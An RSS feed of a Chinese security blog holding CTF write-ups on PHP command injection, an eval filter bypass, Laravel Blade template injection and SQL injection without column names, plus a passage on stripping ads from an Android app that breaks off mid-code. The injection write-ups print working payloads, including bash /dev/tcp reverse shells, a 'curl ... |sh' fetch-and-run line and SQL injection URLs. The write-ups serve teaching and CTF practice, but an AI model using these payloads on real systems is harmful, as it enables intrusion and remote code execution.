<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CTF笔记 &#8211; ChaBug安全</title>
	<atom:link href="/topics/ctf/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 14 Jul 2020 01:32:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>每日一问：记一次命令注入RCE</title>
		<link>/ctf/1815.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 01:32:49 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[命令执行]]></category>
		<category><![CDATA[命令注入]]></category>
		<category><![CDATA[每日一问]]></category>
		<guid isPermaLink="false">/?p=1815</guid>

					<description><![CDATA[在qq群里提出了一个每日一问的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。 题目 模拟真实环境在群里出了一道C...]]></description>
										<content:encoded><![CDATA[<p>在qq群里提出了一个<strong><span class="wpcom_tag_link"><a href="/tags/%e6%af%8f%e6%97%a5%e4%b8%80%e9%97%ae" title="每日一问" target="_blank">每日一问</a></span></strong>的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。</p>
<h2>题目</h2>
<p>模拟真实环境在群里出了一道CTF题当作<strong>每日一问</strong>，代码形如：</p>
<pre><code class="language-php line-numbers">&lt;?php
header('Content-Type: text/html; charset=utf-8');
//error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg &amp;&amp; isset($_FILES)) {
    if ($filename &amp;&amp; $save &amp;&amp; $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}
</code></pre>
<p>环境是oneinstack的集成环境，网站目录位于<code>/data/wwwroot/default/index.php</code>，index.php是root权限写入的。</p>
<h2>题解思路</h2>
<p>php文件很明确可以看出来两个洞：<br />
1. 任意文件上传<br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5" title="命令注入" target="_blank">命令注入</a></span></p>
<p>首先尝试任意文件上传，直接怼上去shell试试，构造请求包：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff7620e7-139a-7b60-e6c9-69ffa9293ee7.png" alt="image.png" /></p>
<p>访问 http://123.57.223.30/uploads/aa.php 报404，直接访问 http://123.57.223.30/uploads/ 没有这个目录，分析之后发现是<code>move_uploaded_file</code>的问题，当不存在uploads目录时会走else分支。</p>
<p>尝试跨目录<code>../</code>，shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。</p>
<p>命令注入的关键点在于<code>move_uploaded_file</code>，首先找可写目录，比如<code>/tmp/</code>，因为不知道当前的绝对路径，我们可以用尽可能多的<code>../</code>跨到tmp，形如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1548fa45-e335-886c-1450-8610c770ee00.png" alt="image.png" /></p>
<p>确实可行<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b618e78f-108d-c3a8-67bf-7919a4a6ee69.png" alt="image.png" /></p>
<p>这样走到exec之后注入，dnslog带外<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3b7fe2d5-7c78-0864-a5e8-998dd4c99022.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0b67d591-c95e-c4d5-1447-c402c33210fb.png" alt="image.png" /></p>
<p>这个时候上传的文件名为<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11647257-ddbd-f57a-0367-10be431ea3e0.png" alt="image.png" /></p>
<p>尝试常规的bash反弹shell</p>
<pre><code class="line-numbers">bash -i &gt;&amp; /dev/tcp/ip/8080 0&gt;&amp;1
</code></pre>
<p>发包后没收到shell，因为<code>/</code>的问题，在<code>move_uploaded_file</code>的时候会报错，走不到exec()。</p>
<p>这个时候就是体现姿势的时候了。群友给了几个姿势</p>
<pre><code class="line-numbers">/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i &gt;&amp; ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0&gt;&amp;1;
echo `echo Lwo=|base64 -d`tmp
</code></pre>
<ol>
<li>curl的原理是直接通过管道符执行curl的结果</li>
<li>先传一<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d35719f6-6a27-72e6-aa1d-16156452eb59.png" alt="image.png" /><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8201340-434f-baf3-7913-7d1ef6f94290.png" alt="image.png" /></li>
</ol>
<h2>上帝视角</h2>
<p>主要就是命令注入和<code>move_uploaded_file</code>在Linux下的绕过。回过头看Linux权限问题<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/05143a03-99b1-c5df-b816-f0d4b9a6d80b.png" alt="image.png" /><br />
index.php为root所属，其他用户只有读权限，不可写。完美复现实战中碰到的苛刻环境，利用还算简单，重点是通过bash配合其他命令进行绕过特殊字符串。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>广东强网杯两道Web Writeup</title>
		<link>/ctf/956.html</link>
					<comments>/ctf/956.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 12 Sep 2019 02:30:43 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=956</guid>

					<description><![CDATA[@level5师傅发在群里的题目，做了两道 web4 php http://119.61.19.212:8082/index.php error_reporting(E_ALL^E...]]></description>
										<content:encoded><![CDATA[<p>@level5师傅发在群里的题目，做了两道</p>
<h1>web4 php</h1>
<p>http://119.61.19.212:8082/index.php</p>
<pre><code class="language-php ">error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
    echo file_get_contents(&amp;quot;./flag.php&amp;quot;);
}

if(isset($_GET['code'])){
    $code = $_GET['code'];
    //print(strlen($code));
    if(strlen($code)&amp;gt;27){ 
        die(&amp;quot;Too Long.&amp;quot;);
    }

    if(preg_match('/[a-zA-Z0-9_&amp;amp;^&amp;lt;&amp;gt;&amp;quot;']+/',$_GET['code'])) {
        die(&amp;quot;Not Allowed.&amp;quot;);
    }
    @eval($_GET['code']);
}else{
      highlight_file(__FILE__);
}
</code></pre>
<p>过滤字符数字下划线等等 长度小于等于27 然后调用GetYourFlag()函数即可，可以用<code>~</code>按位取反</p>
<pre><code class="language-php ">echo urlencode(~('GetYourFlag'));
</code></pre>
<p>得到</p>
<pre><code class="language-php ">%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98
</code></pre>
<p>然后函数需要再取反回来</p>
<pre><code class="language-php ">~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98)
</code></pre>
<p>存到一个变量里，因为过滤，我们用中文来定义变量，我在这用<code>中</code>字</p>
<pre><code class="language-php ">echo urlencode('中');    //%E4%B8%AD
</code></pre>
<p>然后用变量存储我们取反回来的GetYourFlag函数，最后通过变量来调用这个函数</p>
<pre><code class="language-php ">$%E4%B8%AD=~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98);$%E4%B8%AD();
</code></pre>
<p>最后的payload</p>
<pre><code class="">view-source:http://119.61.19.212:8082/index.php?code=$%E4%B8%AD=~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98);$%E4%B8%AD();
</code></pre>
<h1>web5</h1>
<p>laravel的<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" title="代码审计" target="_blank">代码审计</a></span></p>
<p>路由</p>
<p><img src="/wp-content/uploads/2019/09/20190912093854-1.png" alt="20190912093854" /></p>
<p>app/Http/Controllers/UserController.php 注入</p>
<p><img src="/wp-content/uploads/2019/09/20190912093943-1.png" alt="20190912093943" /></p>
<p><img src="/wp-content/uploads/2019/09/20190912094106-1.png" alt="20190912094106" /></p>
<p>密码解不出来，但是在database/factories/UserFactory.php这个工厂函数中给出来了</p>
<p><img src="/wp-content/uploads/2019/09/20190912095222-1.png" alt="20190912095222" /></p>
<p>继续看 app/Http/Controllers/HomeController.php</p>
<p><img src="/wp-content/uploads/2019/09/20190912094237-1.png" alt="20190912094237" /></p>
<p>登录后要从数据库中拿到key，然后才能上传文件，也就是进入<code>HomeController@uploadss</code>。传文件的文件名经过一层filecheck()过滤之后移动到视图模板的目录里，清晰了，通过上传覆盖原本的模板然后模板注入读flag。</p>
<p><img src="/wp-content/uploads/2019/09/20190912094545-1.png" alt="20190912094545" /></p>
<p>正好<code>/resources/views/auth/uploads/</code>目录有一个<code>template.blade.php</code>模板，而路由中也有控制器去渲染这个模板。</p>
<p><img src="/wp-content/uploads/2019/09/20190912094749-1.png" alt="20190912094749" /></p>
<p><img src="/wp-content/uploads/2019/09/20190912094834-1.png" alt="20190912094834" /></p>
<p>构造表单上传之后发现上传filecheck()过滤了很多东西，不能有<code>php</code> <code>&amp;lt;</code>字样。</p>
<p>首先我们要知道laravel的blade模板是可以自定义php代码的，但是必须是如下格式</p>
<pre><code class="language-php ">@php
    //
@endphp
</code></pre>
<p>但是过滤了php关键字，没办法，只能去扒一扒blade的文档了，然后发现了自定义模板标签 https://laravel.com/docs/5.8/blade#extending-blade</p>
<p><img src="/wp-content/uploads/2019/09/20190912095812-1.png" alt="20190912095812" /></p>
<p>牛逼，直接@filedata(&#8216;/flag&#8217;)就完事了。</p>
<pre><code class="language-http ">POST /home/uploadss/NotAllow6171 HTTP/1.1
Host: 119.61.19.212:8085
Content-Length: 444
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvJNe9ABsnjeKGhDN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IitoWjhwMm1ycmNTWFozSmZTTXJwXC9nPT0iLCJ2YWx1ZSI6IkllczhnNEZodldZbllTN0NmZDErR2I1eXF1bU9mV1wvYklManNuUnQ4YzhJcmlWQ09JVXJPXC9JNHZxVU0xRmdCY0RDbWJHelVwYjQyVjdXQ1FHVlFMMlE9PSIsIm1hYyI6IjNmMGUzZTEwYTA2ZDA2MjJjMDg4OTY5NTI4NDJjNTk2YmQ4N2U4NWYxY2E2ZjU3YWEwNTAwODllMzIyYTU4ZjAifQ%3D%3D; laravel_session=eyJpdiI6InRhRzZmenBJSmFLNHhrb0RlUE5OdVE9PSIsInZhbHVlIjoiZ01qK2JpQURoRHgxbFVrcGc4TE9PK2kycGxSTjlNRzkwK21uVDUxa3UyTW5JYXpIcWJaY2pYbXQwNDc0dklkemNjRmR0aFhZcllmTkRvQXpVUlR3d3c9PSIsIm1hYyI6IjAwMjVkODA3YmY5NDU1Y2U5MDMyMWMwMTI1MTcyMmQ1YTU5NWQzMTE0MGMxMzc0ZWM1NDU4YzQ5MWIyZjI5YTgifQ%3D%3D
Connection: close

------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name=&amp;quot;_token&amp;quot;

Z7VZ7FXfNzuzETtQrZ7DeAZCFtbkQl9L8e7ptVin
------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name=&amp;quot;files&amp;quot;; filename=&amp;quot;template.blade.php&amp;quot;
Content-Type: text/html

@filedata('/flag')
------WebKitFormBoundaryvJNe9ABsnjeKGhDN

Content-Disposition: form-data; name=&amp;quot;submit&amp;quot;

Submit
------WebKitFormBoundaryvJNe9ABsnjeKGhDN--
</code></pre>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/ctf/956.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>一道题引发的无列名注入</title>
		<link>/ctf/852.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 14:37:20 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[列名]]></category>
		<category><![CDATA[子查询]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=852</guid>

					<description><![CDATA[@Syst1m的考核题 题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。 常规联合查询注入 http://152.136.179....]]>/</description>
										<content:encoded><![CDATA[<p>@Syst1m的考核题</p>
<p>题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。</p>
<p>常规联合查询<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,3
</code></pre>
<p>三个字段</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())
</code></pre>
<p>拿到flag所在的表，继续查<span class="wpcom_tag_link"><a href="/tags/%e5%88%97%e5%90%8d" title="列名" target="_blank">列名</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')
</code></pre>
<p>死活查不出来，应该是过滤了column关键字，没有列名怎么查出来数据呢？？？</p>
<p>有两种方法<br />
1. order by<span class="wpcom_tag_link"><a href="/tags/%e7%9b%b2%e6%b3%a8" title="盲注" target="_blank">盲注</a></span><br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e6%9f%a5%e8%af%a2" title="子查询" target="_blank">子查询</a></span></p>
<p>本地测试建表</p>
<p><img src="https://y4er.com/img/uploads/20190822205338.png" alt="20190822205338" /></p>
<p><img src="/wp-content/uploads/2019/08/20190822205621.png" alt="20190822205621" /></p>
<h1>order by盲注</h1>
<p>order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。</p>
<p>先来本地测试一下</p>
<p><img src="/wp-content/uploads/2019/08/20190822210044.png" alt="20190822210044" /></p>
<p>可以看到我们构造的数据排在了第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210124.png" alt="20190822210124" /></p>
<p>仍然在第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210155.png" alt="20190822210155" /></p>
<p>当拿&#8217;q&#8217;和&#8217;pass&#8217;做比较时，我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。</p>
<p>拿我们这道题来说</p>
<p><img src="/wp-content/uploads/2019/08/20190822210915.png" alt="20190822210915" /></p>
<p>1的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822210948.png" alt="20190822210948" /></p>
<p>2的时候原始数据在前，说明第一位是1</p>
<p>然后判断第二位</p>
<p><img src="/wp-content/uploads/2019/08/20190822211104.png" alt="20190822211104" /></p>
<p>1a的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822211144.png" alt="20190822211144" /></p>
<p>1b的时候原始数据在前，说明第二位是1a</p>
<p>由此逐位判断。</p>
<h1>子查询</h1>
<p>在无列名的情况下，用子查询可以很简单的将数据跑出来。</p>
<p>子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214132.png" alt="20190822214132" /></p>
<p><strong>这个语句将列名转换为了1,2,3</strong>，这个时候列名就已知了，我们可以用子查询将数据归并。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214824.png" alt="20190822214824" /></p>
<p>此时就能查出来数据了，然后我们再来看这个题。</p>
<p>我们已知了表名为<code>this_1s_th3_fiag_tab13</code>，但是不知道这个表有几个字段</p>
<p><img src="/wp-content/uploads/2019/08/20190822220530.png" alt="20190822220530" /></p>
<p>可以用联合查询的方式来判断字段数。</p>
<p>查出数据</p>
<p><img src="/wp-content/uploads/2019/08/20190822220706.png" alt="20190822220706" /></p>
<p>拿到我们这个题里来</p>
<p><img src="/wp-content/uploads/2019/08/20190822220930.png" alt="20190822220930" /></p>
<p>payload</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x
</code></pre>
<p>子查询真是个好东西👍</p>
<h1>写在文后</h1>
<p>本文介绍了两种无列名注入的方式，很巧妙的在没有列名的情况下查出来数据，在实际利用中更推荐用子查询的方式，毕竟盲注有可能费力不讨好。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>搜书大师去启动屏广告小记</title>
		<link>/ctf/659.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:27:19 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[去广告]]></category>
		<category><![CDATA[小说]]></category>
		<category><![CDATA[搜书大师]]></category>
		<category><![CDATA[逆向]]></category>
		<guid isPermaLink="false">/?p=659</guid>

					<description><![CDATA[前几天手机上用的很舒服的搜书大师，被自动更新了… 那么更新后迎来的就是满屏的广告，我是真的服。 启动电脑吧！去广告的apk链接在文后。 反编译 AndroidKiller反编译拿到...]]></description>
										<content:encoded><![CDATA[<p>前几天手机上用的很舒服的<a class="tag_link" title="浏览关于“搜书大师”的文章" href="/tags/%e6%90%9c%e4%b9%a6%e5%a4%a7%e5%b8%88" target="_blank" rel="noopener noreferrer">搜书大师</a>，被自动更新了…</p>
<p>那么更新后迎来的就是满屏的广告，我是真的服。</p>
<p>启动电脑吧！<a class="tag_link" title="浏览关于“去广告”的文章" href="/tags/%e5%8e%bb%e5%b9%bf%e5%91%8a" target="_blank" rel="noopener noreferrer">去广告</a>的apk链接在文后。</p>
<h1 id="反编译"><i class="iconfont icon-link"></i>反编译</h1>
<p>AndroidKiller反编译拿到smali源代码。</p>
<p>名称：<span class="wpcom_tag_link"><a href="/tags/%e6%90%9c%e4%b9%a6%e5%a4%a7%e5%b8%88" title="搜书大师" target="_blank">搜书大师</a></span></p>
<p>包名：com.flyersoft.seekbooks</p>
<p>入口：com.flyersoft.WB.SplashActivity</p>
<p>版本信息：Ver：v16.7(160701) SDK：16 TargetSDK：26</p>
<p>启动屏的广告就是程序入口，在com.flyersoft.WB.SplashActivity中。</p>
<div class="post-image"><a class="fancybox" title="搜书大师去启动屏广告小记" href="https://y4er.com/img/uploads/20190702151102.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://y4er.com/img/uploads/20190702151102.png" alt="搜书大师去启动屏广告小记-ChaBug安全" /></a></div>
<p>smali的代码像屎一样，我们用dex2jar来转换成java代码看。</p>
<h1 id="java源码"><i class="iconfont icon-link"></i>java源码</h1>
<p>将apk改名为zip，然后用压缩软件打开后把classes.dex拖出来放到dex2jar的文件夹下。</p>
<p>运行命令<code>d2j-dex2jar.bat classes.dex --force</code>然后生成了classes-dex2jar.jar这个新文件</p>
<p>然后用jd-gui打开新生成的文件看到源代码。</p>
<p>定位到文件</p>
<div class="post-image"><a class="fancybox" title="搜书大师去启动屏广告小记" href="https://y4er.com/img/uploads/20190702150917.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://y4er.com/img/uploads/20190702150917.png" alt="搜书大师去启动屏广告小记-ChaBug安全" /></a></div>
<h1 id="去广告思路"><i class="iconfont icon-link"></i><span class="wpcom_tag_link"><a href="/tags/%e5%8e%bb%e5%b9%bf%e5%91%8a" title="去广告" target="_blank">去广告</a></span>思路</h1>
<p>先来谈谈我是怎么定位到调用广告的代码片段的：在启动屏中有关键字<code>跳过</code>，全局搜索就能定位到片段。</p>
<p>然后搜书大师的代码经过了混淆，命名乱七八糟，那么为了提高效率我们需要先来了解一下安卓开发的生命周期。</p>
<div class="post-image"><a class="fancybox" title="搜书大师去启动屏广告小记" href="https://y4er.com/img/uploads/20190702151649.png" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://y4er.com/img/uploads/20190702151649.png" alt="搜书大师去启动屏广告小记-ChaBug安全" /></a></div>
<p>程序会按照图上的流程来走，那么首先就是<code>onCreate()</code>方法。</p>
<div id="crayon-5d1f209356112816545071" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-4">4</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-6">6</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-8">8</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-10">10</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-12">12</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-14">14</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-16">16</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-18">18</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-20">20</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-22">22</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-24">24</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-25">25</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-26">26</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-27">27</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-28">28</div>
<div class="crayon-num" data-line="crayon-5d1f209356112816545071-29">29</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356112816545071-30">30</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356112816545071-1" class="crayon-line"><span class="crayon-m">protected</span> <span class="crayon-t">void</span> <span class="crayon-e">onCreate</span><span class="crayon-sy">(</span><span class="crayon-e">Bundle </span><span class="crayon-v">paramBundle</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d1f209356112816545071-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d1f209356112816545071-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">e</span><span class="crayon-sy">.</span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-r">new</span> <span class="crayon-t">Object</span><span class="crayon-sy">[</span><span class="crayon-sy">]</span> <span class="crayon-sy">{</span> <span class="crayon-s">&#8220;=Splash:onCreate&#8221;</span> <span class="crayon-sy">}</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-r">super</span><span class="crayon-sy">.</span><span class="crayon-e">onCreate</span><span class="crayon-sy">(</span><span class="crayon-v">paramBundle</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">paramBundle</span> <span class="crayon-o">=</span> <span class="crayon-v">SeekBooksApplication</span><span class="crayon-sy">.</span><span class="crayon-v">a</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">paramBundle</span> <span class="crayon-o">!=</span> <span class="crayon-t">null</span><span class="crayon-sy">)</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-sy">(</span><span class="crayon-v">paramBundle</span><span class="crayon-sy">.</span><span class="crayon-e">contains</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;UnsatisfiedLinkError&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d1f209356112816545071-7" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1f209356112816545071-8" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span>省略<span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f209356112816545071-9" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1f209356112816545071-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">setContentView</span><span class="crayon-sy">(</span><span class="crayon-cn">2131427359</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-11" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">b</span> <span class="crayon-o">=</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">ViewGroup</span><span class="crayon-sy">)</span><span class="crayon-e">findViewById</span><span class="crayon-sy">(</span><span class="crayon-cn">2131297135</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-12" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">d</span> <span class="crayon-o">=</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">AlphaImageView</span><span class="crayon-sy">)</span><span class="crayon-e">findViewById</span><span class="crayon-sy">(</span><span class="crayon-cn">2131297136</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-13" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">e</span> <span class="crayon-o">=</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">AlphaImageView</span><span class="crayon-sy">)</span><span class="crayon-e">findViewById</span><span class="crayon-sy">(</span><span class="crayon-cn">2131296361</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
